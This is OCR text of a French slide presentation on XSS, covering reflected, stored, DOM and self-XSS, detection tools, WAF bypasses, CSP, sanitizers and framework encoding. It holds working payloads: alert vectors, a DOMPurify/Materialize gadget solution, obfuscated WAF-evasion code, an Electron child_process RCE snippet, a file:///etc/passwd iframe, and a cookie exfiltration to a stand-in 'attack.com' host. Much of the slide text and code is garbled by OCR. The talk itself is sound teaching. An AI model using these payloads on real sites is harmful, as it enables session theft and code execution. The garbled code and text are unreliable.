Se protéeger contre les vulnérabilités XSS...

Et bypasser les protections!

<>

Lucas PARSY



XSS © Cross—Site Scripting
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user

[ A\ Stealing your creds

Says hi!

Exécution de JS arbitraire sur un
site (ex: vol de cookies)

Différents vecteurs d’attaque
(paramétre d’URL, nom d’utilisateur...)

réfléchie (demande du phishing)
ou stockée (affecte tout les utilisateurs)
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XSS Types : Réfléchie

( Q vuln.com?n= <script>aIert(1)</script>)

res+=‘<div>' + req.query.n + ‘</div>'

<div>user</div> user

<div>

<div>Welcome ©</div>

Welcome ©

parameétre d’ URL
réfléchi par le serveur

Demande que la victime clique
dessus (phishing)

Vole la session, pirate la page



XSS Types : stockée =

(O\ VU'”-Com?n=<Script>aIert(1)</script>) e Vulnérabilité ‘des commentaires’

4

(INSERT INTO COMMENTS 7', n) e Stockée en base de donnée

res+='<div>' + db[‘comms’] + ‘</div>’

e Propagée a tout utilisateur
visitant la page

l \ / \ (pas de phishing)

 vulncom© 00 \ /Vvincom 0060\ [ vuincom 00 O

comment comment comment




XSS Types :DOM &3

( Q vuln.com?n=<img src=1 onerror:alert('l)a e Vulnérabilité ‘des commentaires’
e Stockée en base de donnée
229 e Propagée a tout utilisateur
<div>Hello</div> Hello ol
L . visitant la page

de phishi
<script> (paS e pnis |ng)

d = await fetch(‘/api/me’)
j =await d.json()

innerHTML = j.name;
<script>




O\ domloggerpp-workshop.mizu.re:5173

}> | Bypass HTML Sanitizer 1

Now that you are familiar with the leverage-innerHTML.json configuration, here is a small realistic challenge involving a gadget within the
Materialize.js library.

To solve thts challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/1libs/dompurify/3.1.7/purify.min.js");
const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

const scriptElement = document.createElement("script");

scriptElement.src = "https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js";
scriptElement.onload = (e) => {

M.FormSelect.init(document.querySelectorAll("select.materialize-select"));

}
document.getElementById("challenge-html").appendChild(scriptElement);



O D hitpy127.0014

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

| v | | Select |

on value="%3Cscript! (1)% -I:} Inspecteur

ipt>alert(1)</s ® Manue"ement
e - Prend du temps,

method= D Débogueur
select name="default">
<script>

i (docunent. location.href. indexCF(“default=") >= ¢ - manque des payloads bloqués

var lang = document.location.href.substring(document.location.href.index0f
document.write("<option val i "yt codeURI(lang) + "«
document.write(" value C d= : ¢</opt

Nouvelle requéte  Rechercher ~ Ble  [[4]  Etat M¢ Domaine Fichier Initi... TJ- Réseau
GET v http://127.0.0.1:4242/vulnerab... GET @ 127.0.0.1:4242  jvulnerabilities/xss_d/?default=French doc... html
Parameétres d'URL 200 127.0.0.1:4242  main.css styl...

¥ default  French
¥ nom

127.0.0.1:4242  dvwaPage,s script
127.0.0.1:4242  add_event _listeners,js script

En-tétes 127.0.0.1:42 logo.png img png

¥ Host 127.0.0.1:4242 127.0.0.1:4242  favicon.ico img vnd.microsofti..

™ Accept.. gzip, deflate, br, zstd

™ Conne.. keep-alive

Nom Valeur Domain HttpOnly @ Stockage
PHPSESSID btgaf4TmgegdkrSn5aums68432 127.0.0.1 / false
security CUTSOM _edited_cookie 127.0.01 false




. Alertes (6) U Alertes
R Cross Site Scripting (basé DOM) (3)
[Fl Cross Site Scripting (réfléchi) (2)
| GET: 2number=%27%3Balert%281%29%3B%27
| GET: index.php?number=%27%3Balert%281%29%3B%27

O Générateur de brut 4 Générer du bruit .. x

Fuzz Locations Options Message Processors “ Ajouter De La Charge Utile X
Entéte Raw View Corps: RawView v | [ [] Modifier Type: | Fichier Fuzzers e
GET Suivant Précedent
http://127.0.0.1:4242/vulnerabilities/xss_r/?name=; _t c57el [/] Générateurs de bruit personnalisés

cfed7159773fuUU6fb628ca HTTP/1.1
host: 127.0.0.1:4242
User-Agent: Mozilla/5.0 (windows NT 10.0; Winéu; x6d; rv:1uu.e) Gecko/ api-endpoints txt
20180161 Firefox/lu4u.e custormn wordlist lucas txt
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 - N
Accept-Language: fr,fr-FR;q=08.8,en-US;q=0.5,en;q=0.3 directory-list-2.3-big.txt
Connection: keep-alive 1 french_passwords_top20000.txt
Referer: http://127.0.6.1:4242/vulnerabilities/xss_r/ quickhits txt

Cookie: security=low; PHPSESSID=btgafdlimgegdkr5n5aums68u32; security=
CUTSOM_edited_cookie

Upgrade-Insecure-Requests: 1 Les Ct xss.txt
Sec-Fetch-Dest: document

dirbuster

: <ScRipTralert ("XSS");</ScRipT:
'; alert(1);

: ")alert(1);//

: <IMG SRC=jAVasCrIPt:alert('Xs:

Q Charges utiles X

Adresse: En-téte [54, 58]

<img src=xss onerror=alert (1)’

Valeur - test : <iframe %00 src="&Tab;javascr:
: <svg><style>{font-family&colo
Payloads:

: <input/onmouseover="javaSCRIP!

R R

: <form><isindex formaction="ja-

10: <script/&Tab; src="https://d

# Type Description ~ # of Processors [ Ajouter
1 Fichier Fuzz. . XSS txt 0 Modifier....

11: <meta content="&Newline; 1 &
Annuler oK 19- <a&#0-hreFLEAT-5291 -LENN- L&

@ Annuler Ajouter

Deémarrer le Fuzzer Remettre a zéro Annuler

Trouver des XSS

e Manuellement

e Burp/Zap/Caido scanner

+ trouve des vulns rapidement
- pas discret (beaucoup de requétes)

- loupe des vulns compliquées



Welcome domlog, your secret is safe e Manuellement

DOMLogger++

=l - e Burp/Zap/Caido scanner

Data / Canary:

e DomlLoggerpp
- ne trouve que des vulns DOM

+ liste la trace d’exécution

+ extension navigateur



Welcome domlog, your secret is safe e Manuellement

R A r

() Mis en pause pendant le pas-a-pas

Portées

e Burp/Zap/Caido scanner

json()).then((d) => {
nerHTML . replace("{u

Stack trace

e DomlLoggerpp
- ne trouve que des vulns DOM

+ liste la trace d’exécution

+ extension navigateur
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}> | Bypass HTML Sanitizer 1

Now that you are familiar with the leverage-innerHTML.json configuration, here is a small realistic challenge involving a gadget within the
Materialize.js library.

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");
const html = new URLSearchParams(location.search).get("html");

document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

Data Sink = Href Frame Trace

http://domloggerpp-
set:div.innerHTMIL workshop.mizu.re:5173/ top Show

4

View more

Showing 1 to 1 of 1 entry (filtered from 20 total entries) 1



/?html=tuxlu <script>alert(1)</script>/fiersoript

> | Bypass HTML Sanitizer 1

Now that you are familiar with the leverage-innerHTML.json configuration, here is a small realistic challenge involving a gadget within the
Materialize.js library.

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");
const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

Data Sink = Href Frame Trace

http://domloggerpp-

.AfterSCrlpt set:div.innerHTML workshop.mizu.re:5173/ top Show
View more l-_';|

Showing 1 to 1 of 1 entry (filtered from 20 total entries) 1



:‘Aa O\ /?html=tuxlu <script>alert(1)</script>/fiersoript

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");

const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

const scriptElement = document.createElement("script");

scriptElement.src = "https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js";

scriptElement.onload = (e) => {

M.FormSelect.init(document.querySelectorAll("select.materialize-select"));

}
Data Sink A Href
["select.materialize- http://domloggerpp-
select"] document.querySelectorAll workshop.mizu.re:5173/
View more 4

Showing 1 to 1 of 1 entry (filtered from 20 total entries)

Frame Trace

top Show




N

7 O\ /7him!= <select class="materialize-select"></select>
a\

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");

const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

const scriptElement = document.createElement("script");

scriptElement.src = "https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js";

scriptElement.onload = (e) => {

M.FormSelect.init(document.querySelectorAll("select.materialize-select"));

}
Data Sink = Href
("select- s-7fa440e0- http://domloggerpp-
abe6-9fad4 <redacted> document .getElementById Workshop. mlau -re:5173/
View more &

Showing 1 to 1 of 1 entry (filtered from 20 total entries)

Frame Trace

top Show




N

M O\ /?html= <select class="materialize-select"><option></option></select>

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");

const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

const scriptElement = document.createElement("script");

scriptElement.src = "https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js";

scriptElement.onload = (e) => {

M.FormSelect.init(document.querySelectorAll("select.materialize-select"));

Data Sink A Href

http://domloggerpp-

"data-i " ] )
! S ] Element.prototype.getAttribute workshop.mizu.re:5173/
View more 2

Showing 1 to 1 of 1 entry (filtered from 20 total entries)

Frame Trace

top Show




:‘Aa O\ /?html= <select class="materialize-select"><option>data-icon="tuxlu"</option></select>

To solve this challenge, you need to find a way to trigger an alert().

Challenge Code:

await import("https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.7/purify.min.js");
const html = new URLSearchParams(location.search).get("html");
document.getElementById("challenge-html").innerHTML = DOMPurify.sanitize(html);

const scriptElement = document.createElement("script");

scriptElement.src = "https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js";
scriptElement.onload = (e) => {

M.FormSelect.init(document.querySelectorAll("select.materialize-select"));

}
Data Sink A Href Frame Trace
<img alt="" http://domloggerpp-
src="tuxlu"> set:body.innerHTML workshop.mizu.re:5173/ top Show
View more 4

Showing 1 to 1 of 1 entry (filtered from 20 total entries) 1



Ma
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To sol thls cha , you nied to fi trtgger an
Challgmge C¢!I .j - [ N
@) B

await 1mpor‘!(}f1tt ps-//cdnj s.cloud: @ domloggerpp-workshop.mizu.re:5173 _ﬂpupify .
con¥t html w URLSe aragle( :
doc‘ent.gelmentById( Hallengi ! nitize(.htm

const sﬁptElemeit = document.' n

scriptElement.src = "https://cdnj:
scrtElement.onload = (#F® {
M.FormSelect. init'cument .querySelectorAll( "select .mater‘ializeisflect"));

} - - . [ — a
Data Sink ~ Href
<img alt="" src=""
Onerrqor:"alert (1) URIETEN http: //domloggerpp—
<redacted> set:body.innerdHTML workshop.mi au .re:5173/
View more EJ

Showing 1 to 1 of 1 entry (filtered from 20 total entries)

alize/l.9.0/js/mater“ize.min.js";

¢

Frame

top

Q /?html= <select class="materialize-select"><option>data-icon="onerror="alert(1)""</option></select>

Trace

Show




ute™: [
Element.prototype.innerHTML"

( Complqué é Utlllser document

document
document.getElementById",
Logge tous les events JS & partir d’un fichier de et SusmEa e
document.

config: il faut trouver le bon, et le customiser. document.

document.



https://github.com/kevin-mizu/domloggerpp/blob/main/configs/leverage-innerHTML.json

7 N\

Compliqué a utiliser

Plutét mal documenté,
avec des limitations pas

forcéments évidentes

LYUNVITE - GILBERT MONTAGNE

O D hipyr2r.000

Vulnerability: DOM Based Cross Site Scripting (XSS)

Please choose a language:

v || Select

<option value="%3Cscript%3Ealert(1)%3C/script%3E"> {3 Inspecteur
<script>alert(l)</script>
</option>

<form name=" method="GET"> D Débogueur
select name=' ault">
¢<script>
if (document.location.href.indexOf("default=") »>= 8) {
var lang = document.location.href.substring(document.location.href.index0Of
document.write( g="" "'>" + decodeURI(lang) + '
document.write( "' disa j="¢ d'S>enmn< </option>");

Href ,@ DOMLogger++

available in table

Hi @ayadim &

Thanks for reporting this! However, this is a well-known issue with DOMLogger++ that | forgot to
mention in the README.md :(

To explain further, this happens because write calls , Which clears all event
listeners present on the document, breaking DOMLogger++.



Scopes

e Tout est basé sur du web:
XSS Everywhere

e Attention a ne pas aller
hors-scope dans les pentests!

ini DID YOU REALL
Defining e gtod

scope Robert"> <script

{,5rc=//txl.x92></script>

~ OH.YES UTTE
BOBBY TABLES,
WE CALL HIM.

Cartoon by xkcd.com/327/



Scopes

~

—- - = —(vuln.com ) coo

Your custom HTML here:

"I.JSET..;E:;TEE" alert(document.location)
|
|
'=--4 _Acdnvuincom |

"></iframe>

<iframe

Iframe
Sandbox

e ad.doubleclick.net
e googleusercontent.com
e googlecode.com

Google uses a range of sandbox domains to safely host various types of user-generated
content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML,
JavaScript, or Flash applets and make sure that they can't access any user data.




Scopes

~

(vuln.com ) coo

Your custom HTML here:

alert(document.location)

J

<iframe =t "></iframe>




Scopes

~

(vuln.com ) coo

Your custom HTML here:

alert(document.location)

p Ignored call to “alert()".
The document is sandboxed, and the 'allow-
modals’ keyword is not set.

<iframe =0 "></iframe>

utilisez console.log() plutot



Scopes

e templates HTML génerés par le serveur

hi
(ss) e Autorise LFI (Local File Inclusion)
/ SSRF (Server-Side Request Forgery)

000

Server Side
XSS

<img :||X|| :II
document.write(‘XSS 1')" /> XSS1

<iframe src=file:///etc/passwd>

root:x:0:0:/bin/sh

p;.ppeteer <script>scanPorts(0, 5000)</script> [ECelal {0 TS 2000)




N
Scopes [(vuln.com ) coo
No vuln here, user
e Pas de XSS sur le site? ‘><script src="attack.com’></script>
\ J
-
—
—
v
e Peut étre surle [(backoff.vuln.com) coo

backoffice Message from user: | £\ XSS

attack.com?cookie=
e Exfiltre des données backofficeSession




O XSS Payload Fire Reports (1 Total)

e XSS Hunter

URL The URL of the page the payload fired on.

http://vuln.com

L SGI’VGUI’ pOUI’ IP Address Remote IF address of the victim.
recevoir des
callbacks de XSS

42.112.114.236

U SE.‘F-AQ ent Web browser of the victim.

e Jolie Ul pour voir
Mozilla/5.8 (Windows NT 1@.%/537.36 (KHTML, like Gecko) Chrome/187.8.0.@
deS ScreenShOt .de safarif537.36 Edg/167.8.141
page web, cookies,

| P vee Cookies Non-HTTPORy cookies of the victim.

admincookie=FLAG




Scopes

Client lourd

Electron/QTWebview

Transforme des pages web en
apps Desktop

(intégration systéme de fichier...)

si vuln, XSS to RCE

Context isolation... généralement

000 )

Hello user:

.

exec system
commands

000
000
000




000

Scopes <div>Hello user:</div> XSS Hello user:
<script>
require('child_process').exec(‘calc’) XSS HTML
Renderer
000
</script> 888
h Web context &

System context ER

Client lourd

BrowserWindow(

|

Node JS




Scopes

Client lourd

000

<div>Hello user:</div> XSS Hello user:

<script>
. XSS
window.command = "calc
window.exec()
000
</script> ggg

D

window.command = "harmless_command

window.exec=()=>{
require('child_process').exec(window.command)

}

BrowserWindow(
webPreferences: {

preload: 'preload.js/,
contextlsolation: false
)]

HTML
Renderer

Web context

System context

Preload
script

Node JS

c



Protections: firewall

.
&

e Web App Firewalls: WAFs . <4 ,'.'.'.‘.5"5.‘}5 3
P&, | TOUTE TROUEE %

LE MAINTENEUR ==

e Software, cloud, hardware...

’Xf@ = \\J\UA\}:‘ @?&fﬁﬁfé‘éﬂt“ o -1




Firewall bypass

XSS generator
JSFuck

XSS Payload Generator

Payload

| Javascript code

Inject custom inline JavaScript code

Custom Payload:

|alert(1)

Obfuscation S

[NOI‘IE

Mo obfuscation

Execution

| None

No execution required

Injection type

| Basic polyglot / inline script

Code execution using basic break-out technigque

Encoding

Available Using

URL |:|
sqQL =
HTML

Baset4

Output

""></textarea><script>alert(1l)</script>



### AUREBESH

p='',a=lo+n,¥=!a3+0, | =
o+{},V=a[o++],z=2[A=
o],>=++0+10,—= | [A+>], 2
[—4+= | [m]+(2.Y+ | )[2]+Y
[>]+V4+Z+ T [A]+—+V+ |
[e]+=]1[—1(Y[ = ]+Y[Aa]+2
[Z1+=+V+" (2 )") ()

### GREEK

n="",B=!m+n, e=1B+n, y=ri+{ }, 1
=B[m++],t=B[=m], O=++P+T, A=
V[$+6], B[A+=y[m]+(B.&+Y)
[n]+e[0]+p+T+B[P]+A+p+y
[n]+c][Al(e[m]+e[¢]+B[O]+T
+Hu" (1) ") ()

### THAI

### KATAKANA

7= 7=17+7 ,2=17+7,X
=7H}, A=V [T ], n=T[N=
7], R=HN+7, I=X [N+7F],
V[I+=X[T]+(7.L+X)
[71+E[F]+F+n+T7[N]+3
+AAX[ TN 3 ](E[7T]+E
[N+Z AT+ +247 (7)) )

### HANGUL

2

EE |

pedpd Aoy Apd A
=_|i+{},—|—=—|—[-li++],-l-'|=—|i[4-‘||=

Ji],ﬁ|=++J-'||+-li,==-li[J-'||+J-1|],
A==t A]e ()

-] _‘||:J-4|:|+—|=—'+-l—'|+—|i[J-'“]+i
s ][] (A ]+

[J.'||]+—|i[d-1|]+-l-'|+—|3+"(—li)")()

### CYRILLIC



Cross-site scripting (XSS) cheat sheet

o i All events | All browsers
FI rewal I bypaSS iframe onafterprint Chrome

image onafterscriptexecute Firefox
img onanimationcancel Safari
input | onanimationend
ins onanimationiteration
kbd onanimationstart

— XSS generator keygen onauxclick
label onbeforecopy
legend onbeforecut

_— aurebeSh-JS Event handlers that do not require user interaction

onafterscriptexecute

Fires after script is executed

= Portswigger XSS cheat sheet img .

tous Ies events HTML <img onafterscriptexecute=alert (1l)><script>1</script>

[P Copy Comp;ibﬂny

onanimationcancel
Fires when a CSS animation cancels
img v

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:1l0s ease-
in-out 0s 1 x:}l</stvle><img id=x stvle="position:absolute:"



XSS generator

aurebesh.js

Portswigger XSS cheat sheet

limite de taille des requétes
juste bruteforcer

Provider
AWS WAF
Cloudflare
Google Armor

Azure WAF

Noooooon! Il faut créer
un payload trés avanceé
pour tromper

les WAFs modernes!!!!

Max payload inspected

8k

payload =
“aaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa
FEEEEEEEEEEEEEEEEEEE]
EEEEEEEEEEEEEEEEEEEE]
EEEEEEEEEEEEEEEEEEEE]
EEEEEEEEEEEEEEEEEEEE]
EEEEEE]

Haha,

bbbl <script>alert(l)</script>
go brrrr u



Protections: headers

e Set-cookie: HTTPOnly

Les cookies ne peuvent étre exfiltrés par script

- ne mettez pas de tokens d'auth dans le localstorage!




Protections: headers

e Set-cookie: HTTPOnly

e X-Frame-Options: DENY

° X-XSS-Protection: 0
e CSP - Content Security Policy

Plein de regles pour gérer le chargement de ressources

- empéche aussi le clickjacking
et force le HTTPS




Protections:CSP - Content Security Policy

default-src 'none’; script-src 'self'; connect-src 'self’;
img-src 'self'; style-src 'self'; frame-ancestors 'self’;

form-action 'self’; base-uri 'self’; upgrade-insecure-
requests;

Exemple de CSP robuste

Content-Security-Policy : Les paramétres de la page ont
empéché 1’exécution d’un gestionnaire d’événement
(script-src-attr) car il enfreint la directive suivante :

« script-src 'nonce-En85mSS9N9UIMkmjANSgqelA' 'strict-
dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline’
https: http: »

Source: _rtf(this)




Protections:CSP - Content Security Policy

gifs.com

Pas de protection
‘unsafe-inline’

v

Endpoint JSONP

default-src 'self'

\ 4

https://*.google.c
om

Challenges pour

<img src="x"
onerror=alert(1) />

<script
src="https://accounts.g
oogle.com/o/oauth2/re
voke?callback=alert(1)"
<script>

@ CSP Evaluator

m



Protections: framework encoding

JS

userString = ‘<img src="x"
onerror=alert(1) />’

myDiv.innerHTML= userString

<div> <img src="x"
onerror=alert(1) /> </div>

<div> { userString } </div>




Protections: framework encoding

safe unsafe

<div> { userString } </div>
<div dangerouslySetinnerHTML

<input ={{ userString}}></div>

values{ userstring}/> <a href={userString}></a>

po- daniel:// stenberg:// &
<

"http://http://http://@http://http://?http: //#http: /"

is a legitimate URL

<div> {{ userString }} </div> <div v-html="userString“></div>

<div :title="userString”>hi</div> <a : href="userString“></a>




Autoriser le HTML seulement
et bloquer le JS

input = ‘<img src="x"
onerror=alert(1) />’

<img src="x" />




Protections: sanitizer

e Autoriser le HTML seulement I8 =01 from
dompurify’;
et bloquer le JS

input = ‘<img src="x"
onerror=alert(1) />’

e Utiliser un sanitizer comme DOMPurify

const clean =
sanitize(input);

= clean

<img src="x" />




Protections: sanitizer

e Autoriser le HTML seulement
et bloquer le JS

e Utiliser un sanitizer comme DOMPurify

e L'HTML est compliqué
et les browsers font du parsing funky
ex: « mutated XSS »

import from
'dompurify’;

input = ‘<svg></p><style><a
id="</style><img src=1
onerror=alert(1)>">

const clean =
sanitize(input);

tag. = clean

<svg></svg><p></p><style>
<a id:||||</sty|e>
<img src=1onerror=alert(1)>">"">"




Protections: resumeé

Waf bypass Firewall
CSP Headers
misconfiguration
Unsafe encoding
methods
HTML parsing sanitizing

variations



<Img onerror

alert(1)

document.

<Img onerror )
location

WAF bypass
WTFJS

Myspace
incident

-

PostMessage ‘%"
API o

DNS rebinding

Mizu is an Al
Browser Bfcache/ forward

exploit cache



L Kevin Mizu

Domlogger, Root-me challs,

“Multiple ways to break Electron apps” talk

LiveOverflow
“DO NOT USE alert(1) for XSS”

“Generic HTML Sanitizer Bypass Investigation”

Hacktricks
Root-me

O




g’ 47@:: WAF

bypasses

__ Headers

X

SAST

‘r‘ <« ‘é Sanitizing
Dom
Purify

encoding

iframe

Protec w
tions E

Scopes

e

Server

@

Blind

.

M XSS
J» Hunter

K3

ﬁ

(

Types
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>

thick

Reflected

Stored

DOM —» # Dom
@ Logger

Console

Self —» [ _SOP
Bypass



Bonus round: Self XSS

"Self-XSS"

the cooler
Self-XSS

Ju

Réfléchie
Stockée
DOM
“Self"console
Self

N

(

v
!

Do




Console

e Pur social engineering

. 25 secs * ¥

Hack any facebook account following these steps:

1. Go the victim's profile

2. Click right click then click on inspect element and click the "Console"
tab.

3. Paste the code into the box at the bottom and press enter

the code is in the web site : http:/textuploader.com/ | EEGTNRNG
Good luck: *

Don't hurt anybody ..

Like - Comment

. Write a comment...



Console [-

Console

This is a browser feature intended for
developers. If someone told you to

copy-paste something here, they are
likely trying to compromise your
Weblate account.

Attention aux fraudes : faites attention lorsque vous collez des choses que vous ne comprenez pas. Cela
pourrait permettre a des attaquants d'usurper votre

dentité ou de prendre le contréle de votre
ordinateur. Veuillez s

ir « autoriser le collage » ci-dessous (pas besoin d'appuyer sur entrée) pour
autoriser le collage.

e Pur social engineering

e Warnings console et les
navigateurs les empéchent



XSS Types : Self 2

Hi, | arn an Albanian virus but because of poor technology in my
country unfortunately | am not able to harm your computer. Please be
so kind to delete one of your important files yourself and then forward
me to other users. Many thanks for your cooperation! Best

regards, Albanian virus

Cancel

XSS ou l'utilisateur doit entrer
manuellement son payload

Limité aux infos privées
(ex: adresse de livraison)

On ne peut pas la partager.
a moins que...



XSS Types : Self 2

Step 1: faire se connecter a notre compte quelq'un

(http -/ vuln.com) eoo

/=\
fetch("/login",
method: "POST",

||||| -0

1i111=0

v ||||| -0
g response
body: { username: "user” http://

vuln.com
cookie

);




XSS Types : Self 2

Step 1: faire se connecter a notre compte quelq'un

(http -/ vuln.com) eoo

/=\
fetch("/login",
method: "POST",

||||| -0

v ||||| -0
g response
body: { username: "user” http://

vuln.com
cookie SOP
v

);




XSS Types : Self 2
Step 1: faire se connecter a notre compte quelq'un

(https.// vuln.com) oo

/=\
fetch("/login", :::::::
method: "POST", 11111—=0
body: { username: "user” http://

)5 vuln.com

®HR| POST http://challenge@l.root-me.org:58003/login

Blocage du chargement du contenu mixte actif (mixed active content)




XSS Types : Self 2

Step 1: faire se connecter a notre compte quelq'un

)

attack.com ) coe

/=\
fFetch("/login”, { N ST p—
method: "POST",

= [ -0
response:
EL,- http://

]
] vuln.com
cookie SOP

body: username: "user"”

);




XSS Types : Self 2

Step 1: faire se connecter a notre compte quelq'un

)

attack.com ) coe

id="myform" action="vuln.com" :::::_:
id="username"” value="me' - =] = [ p—
id="secret” value="pass" “ response: /
Do d
type="submit"”>a )

http://
| vuln.com
myform.submit() COOkie S O P




XSS Types : Self 2

Step 1: faire se connecter a notre compte quelq'un

)

attack.com ) coe

[\
: ~> = o =0
"pass" response:
type="submit">a “ [i‘l/ http://
. vuln.com
myform.submit() % S O P

CSRF
X



they

loginto |} trigger l
my account | the XSS |

limited | limited |
tomy | , to my
account Y ¥ account




XSS Types : Self 2
Récupérer les secrets d'autres comptes

Requirements:

N
ﬁattack.com/step]) 000

e La victime clique sur un lien

8]
=2

\. J e Vvictime connectée au site vuln

e Pas de token CSRF sur le site vuln




XSS Types : Self 2

Récupérer les secrets d'autres comptes

~\

G

ttack.com/step]) 000

& opener

\

G

ttack.com/stepz) coo

1: ouvrir un onglet



XSS Types : Self 2

Récupérer les secrets d'autres comptes

\

ﬁ vuln.com

) 00O

Welcome user:
W, . [}
victim’,

your secret is:

‘Topsy Krett’

¢ opener

~

G

ttack.com/stepz) ©coo

1: ouvrir un onglet

2: rediriger sur les secrets
de la victim sur le site vuln



XSS Types : Self 2
Récupérer les secrets d'autres comptes 1: ouvrir un onglet

2: rediriger sur les secrets
de la victim sur le site vuln

) )
ﬁ vuln.com ) coo ﬁattack.com/stepZ) ©oo ] ]
3: login sur le site vuln
Welcome user: ¢ opener /O\( hacker )
‘ViCtim', ( XXX X X )
your secret is:
. , Autologin
Topsy Krett to vuln.com
J . J




XSS Types : Self 2

Récupérer les secrets d'autres comptes

\

ﬁ vuln.com ) coo

Welcome user:

[N : ’
victim’,
your secret is:

‘Topsy Krett’

¢ opener

ﬁ vuln.com ) coo

Welcome user:

‘hacker’,

your secret is:

A alert(*XSS)

1: ouvrir un onglet

2: rediriger sur les secrets
de la victim sur le site vuln

3: login sur le site vuln

4: rediriger vers la XSS
du hacker sur le site vuln



XSS Types : Self 2
Récupérer les secrets d'autres comptes 1: ouvrir un onglet

2: rediriger sur les secrets
de la victim sur le site vuln

N )
ﬁ vuln.com ) coo E vuln.com ) coo ) )
3: login sur le site vuln

Welcome user: ¢ opener Welcome user:

‘victim’, ‘hacker’, ..
i et 4: rediriger vers la XSS
our secretis: your secret Is:

, : hacker sur le site vuln

Topsy Krett ) C A alert(*XSS) ) du hacker sur le site vu

5: récupérer le secret de la
SOP 53 victime depuis le 1er onglet
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